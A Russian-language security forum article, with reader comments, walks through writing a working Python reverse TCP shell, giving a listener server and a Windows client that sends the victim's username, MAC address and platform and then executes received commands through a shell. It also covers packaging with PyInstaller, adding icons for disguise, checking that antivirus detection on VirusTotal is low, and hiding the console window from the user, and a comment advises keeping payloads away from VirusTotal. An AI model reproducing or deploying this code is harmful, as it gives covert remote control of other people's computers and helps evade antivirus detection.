• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Ядовитое подключение. Пишем обратную оболочку используя Python

Logotype.jpg

Дисклеймер: вся информация в статье предназначена для ознакомления. Автор не несет ответственности за ваши действия.

Введение

Давай вспомним, какой самый частый прием хакеры используют, чтобы завладеть устройством? Ответ на такой вопрос не заставит долго ждать. Вирусы - это главное оружие каждого хакера. Существует огромное количество вредоносного ПО, начиная со стиллеров и заканчивая ботнетами, способными управлять миллионами устройств. Но в этой статье я расскажу тебе самый простой способ получить доступ к консоли другого компьютера при помощи кода на Python.

План работы

Начинаем нашу работу как всегда с постановки правильного плана. По нему тебе будет проще ориентироваться в тексте и понимать, что ты уже знаешь, а какие знания держат от тебя в секрете.
  1. Обратная TCP-оболочка.
    1. Что такое TCP-сокеты.
    2. Межсетевые экраны и блокировка соединений.
    3. Части обратной оболочки.
    4. Модель "клиент - сервер".
  2. Создаем TCP-сервер на Python.
  3. Пишем обратную оболочку клиента.
  4. Компиляция и проверка на детект.
  5. Подводим итоги.
Итак, теперь у нас есть план и мы будем его придерживаться. В последующих статьях я расскажу тебе, как улучшить эту программу, ну а сейчас приступим к работе.

Обратная TCP-оболочка

В основе этого типа оболочки лежат TCP-сокеты. Это своеобразный фундамент, который используют сетевые приложения. К примеру SSH, (Secure Shell) использует TCP-сокеты чтобы установить безопасное соединение с удаленной машиной и в дальнейшем посылать ей определенные команды. В таком случае устройство, которое производит подключение, выступает в роли SSH-сервера. Принимающая подключение сторона является SSH-клиентом и имеет определенную программу, которая позволяет серверу удаленно выполнять команды. То есть хакер взломав устройство загружает клиентскую оболочку и получает контроль над системой. Но если говорить все в огромных масштабах, то можно столкнуться с некоторыми неприятностями.

К примеру организации для защиты от взлома компьютеров в своем офисе используют маршрутизаторы с функцией межсетевого экрана и трансляции сетевых адресов (Network Address Translation). Такая технология используется и при создании виртуальных машин. Она позволяет изолировать её от внешней среды и сделать более безопасной. Однако, в работе NAT есть небольшая хитрость - мы не можем подключиться к сети, находясь за ее пределами, но устройства внутри нее могут подключаться к нам. Выглядит это следующим образом:

NAT.jpg


Чтобы завладеть устройством хакер должен заставить взломанное устройство подключиться к его компьютеру, тогда он сможет управлять им в обход межсетевого экрана. Некоторые обратные оболочки умеют маскировать свой трафик, чтобы избежать обнаружения, но об этих способах защиты я расскажу в другой статье. Теперь давай разберемся, из чего состоит обратная оболочка.

Она имеет два ведущих компонента: клиентская часть, которая позволяет подключиться хакеру к устройству и в дальнейшим им управлять и серверная часть, которая ожидает подключения от компьютера жертвы. Когда клиент запущен происходит запрос у операционной системы на создание нового сокета. После этого ОС присваивает этому сокету определенный номер порта и связывает его с обратной оболочкой. В то время как сервер запрашивает у клиента конкретный номер для подключения. Комбинация порта и IP-адреса жертвы позволяет идентифицировать TCP-сервер другим устройствам. Поэтому при создании серверов люди стараются использовать длинные порты, чтобы избежать конфликтов и посторонних подключений. Если ты не знал, то максимальный номер, который ты можешь задать порту это 65535.

Такая модель соединения носит название "клиент - сервер". В ее основе лежит большая часть интернет-сети. К примеру, когда ты что-то ищешь при помощи Google, твой компьютер подключается к TCP-серверу корпорации, который работает на 80 порту. Аналогом такой модели также служит одноранговая сеть (peertopeer). P2P использует прямое общение с клиентами. Видеочаты и сервисы Torrent используют такую технологию повсеместно. Теперь, когда я объяснил тебе все основные моменты работы с обратной оболочкой давай приступим к созданию своей версии на языке Python.

Создаем TCP-сервер на Python

Для работы тебе потребуется установить Python 3.10 или выше, а также среду разработки PyCharm. Если у тебя уже есть программа для написания кода (можешь использовать даже блокнот) то приступим к написанию кода. Первым нашим шагом станет серверная часть обратной оболочки, поэтому тебе потребуется создать файл с названием TCPServer.py. Открываем его и первым делом импортируем все требуемые модули:

Python:
from socket import *
import sys

Далее давай обозначим две переменные, в них мы поместим порт для прослушки и наш IP адрес - по нему будут подключаться все устройства.

Код:
serverPort = 3851
serverName = sys.argv[1]

Напомню, что функция sys.argv обращается к командной строке, поэтому при запуске тебе потребуется указать твой IP-адрес. Теперь нам нужно задать правила для нашего сервера, а также поднять его при помощи команды bind().

Python:
serverSocket = socket(AF_INET, SOCK_STREAM)
serverSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
serverSocket.bind((serverName, serverPort))
serverSocket.listen(1)

При помощи параметра AF_INET создается обычный сокет, а SOCK_STREAM позволяет превратить его в TCP. Используем setsockopt чтобы наша программа могла взаимодействовать с сокетом большое количество раз. Далее поднимаем сервер и начинаем прослушивание при помощи функции listen(). Если оставить переменную serverName пустой, то будет использоваться IP-адрес компьютера по-умолчанию.

Следующим этапом мы создадим переменную, которая будет отвечать за передачу информации. Здесь нам потребуется определить размер сообщения и попробовать его отправить. Так как кодировка в системе, которая подключается к серверу, не настроена, то попробуем это исправить, чтобы весь текст выводился в правильной форме. Делаем это следующим образом.

Python:
message = connectionSocket.recv(8192)
connectionSocket.send("chcp 65001".encode())
print(message)
print("When you're finished enter exit")

Как я и говорил первое в нашем списке это создание переменной. Message отвечает за размер передаваемого на компьютер сообщения. Далее мы производим подключение и отправляем сообщение, заранее кодируем его. В Windows chcp отвечает за смену кодировки, я меняю ее на UTF-8. Таким образом весь текст будет отображаться у нас на английском языке. Далее мы выводим ответное сообщение и говорим пользователю, чтобы по завершении работы он воспользовался командой выхода.

С размером команд мы определились, теперь нам нужно создать сам концепт команд для передачи. Создадим переменную типа string. Далее передадим ее в цикл while и будем получать текст от пользователя. В цикле он также отправляться на машину жертвы и выполняться там же. Заранее сделаем перехват исключений в случае разорванного соединения. Если пользователь использует команду exit, то программа завершит свою работу. Реализуем это следующим образом.

Python:
command = ""
while command != "exit":
    command = input("cmd> ")
    try:
        connectionSocket.send(command.encode())
        message = connectionSocket.recv(8192).decode()
        print(message)
    except ConnectionResetError or ConnectionAbortedError:
        print("Oops! Someone disconnected the connection")
        connectionSocket.close()
        raise SystemExit

Завершающим штрихом нашего сервера станет закрытие соединения и удаленное выключение программы клиента.

Python:
connectionSocket.shutdown(SHUT_RDWR)
connectionSocket.close()

Отлично! Запускаем наше чудо и видим окно приветствия. Но подключиться к чему-либо мы не сможем, так как мы не написали клиентскую программу. Поэтому, создадим её и настроим подключение.

Пишем обратную оболочку клиента

Итак, чтобы написать клиентскую часть нашего сервера мы будем использовать одну и ту же библиотеку. Чтобы идентифицировать каждое устройство я буду собирать самую стандартную информацию о компьютере жертвы. Прежде всего это: IP и MAC адреса устройства, а также имя пользователя и операционная система. Хотя моя оболочка изначально нацелена на работу с ОС Windows, её можно будет легко переделать и под Linux. Начнем работу прежде всего с импорта требуемых библиотек.

Python:
import sys
from subprocess import Popen, PIPE
from socket import *
from uuid import getnode as get_mac
import platform
import getpass

Следующий этап ничем не отличается от того, что мы проходили на моменте создания сервера, а это создание переменных с портом и адресом для подключения.

Python:
serverName = sys.argv[1]
serverPort = 3859

Также потребуется узнать начальную информацию о системе. Для этого создадим четыре переменные, которые будут отвечать за это. Делаем все следующим образом.

Python:
ip = gethostbyname(gethostname())
mac = get_mac()
ost = platform.uname()
name = getpass.getuser()

Первая отвечает за IP-адрес цели, далее мы узнаем MAC-адрес и название платформы вместе с именем пользователя. Такая информация пригодиться нам для идентификации цели. Теперь мы должны связаться с нашим сервером и отправить полученную информацию.

Python:
clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect((serverName, serverPort))
clientSocket.send(f"Username: {name}, "
                  f"MAC Address: {mac}, "
                  f"Platform: {ost.system}.".encode())

Не забываем про установку максимальной передачи информации в битах.

Python:
command = clientSocket.recv(8192).decode()

Загоняем все в цикл while, как мы делали это с нашим сервером. Далее перехватываем ненужное исключение, которое может увидеть пользователь и завершаем нашу клиентскую программу. Код всего этого я предоставил ниже.

Python:
while command != "exit":
    try:
        proc = Popen(command.split(" "), stdout=PIPE, stderr=PIPE, shell=True)
        result, err = proc.communicate()
        clientSocket.send(result)
        command = (clientSocket.recv(8192).decode())
    except ConnectionResetError:
        raise SystemExit

Теперь завершаем нашу программу закрытием соединения и приступаем к компиляции.

Python:
clientSocket.close()

Напомню о том, что ты можешь заменить переменную serverName на IP-адрес своего устройства. Переходим к конвертации наших python-файлов в EXE формат.

Компиляция и проверка на обнаружение

Для преобразования в исполняемый файл (.exe) я использую Pyinstaller, поэтому начнем с установки. Сделать это можно при помощи менеджера pip:

Код:
pip install pyinstaller

Далее открываем консоль и переносим наши файлы в любое удобное место. Переходим в папку и пишем следующую команду:

Код:
pyinstaller --onefile путь_к_файлу

Таким образом собираем оба файла. Если ты не указал верный IP в программах, то они автоматически закроются при попытке запуска. Напомню, что узнать свой адрес ты можешь при помощи ipconfig. Для маскировки можешь наложить на файлы иконки при помощи флага -i.

После завершения нашей компиляции попробуем залить всю работу на VirusTotal и проверить насколько хорошо все работает. Результаты сканирования обоих файлов ты можешь увидеть на скринах ниже.

reverseShell.jpg

shellServer.jpg


Из скриншотов видно, что детект двух программ крайне низкий и это к лучшему. Теперь давай подведем итоги по статье.

Подводим итоги

В этой статье я постарался максимально понятно и просто рассказать про то, как создать свою обратную оболочку используя язык программирования Python. Модифицировать такой код можно вечно. Одна из основных проблем такой оболочки в том, что она никак не скрыта от глаз пользователя. Висящее окно консоли приводит к подозрениям. При сборке тебе требуется использовать функцию --noconsole, тем самым скрывая от глаз клиента работу кода. В дальнейшем я постараюсь рассказать как сделать такой софт более продвинутым и скрытным.
 
Последнее редактирование:

Ternick

One Level
26.04.2019
2
1
BIT
0
Python интерпретируемый язык, его нельзя компилировать, только собирать(упаковывать) в exe, чем pyinstaller и занимается.
 
  • Нравится
Реакции: Mark Klintov
02.03.2021
543
398
BIT
160
Автор молодец, продолжай делать то что делаешь. Форум начинает пополняться отличными статьями и мотивировать коллег для дальнейшей прокачки в Python
 
  • Нравится
Реакции: xBurton

Festeinfo

One Level
03.04.2022
4
1
BIT
18
Автору Спасибо! Интересная и познавательная статья.
 

madargus_

Green Team
16.06.2021
10
11
BIT
67
Автору спасибо))) Умничка...но есть одно но...может и зря я свинным рылом в калашный ряд лезу, но применять для анализа созданной полезной нагрузки VirusTotal - плохая практика..ОЧЕНЬ...ибо если ты создал толковую полезную нагрузку и отправил её на вирустотал, то даже при обнаружении одним из элементов уже в следующей обнове баз все антивирусы будут её детектить... А для таких хороших и добрых дел как проверка созданной полезной нагрузки есть старый добрый ...Вот он и пейлоад твой проверит и никому ничего не расскажет....
 
  • Нравится
Реакции: Mark Klintov
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!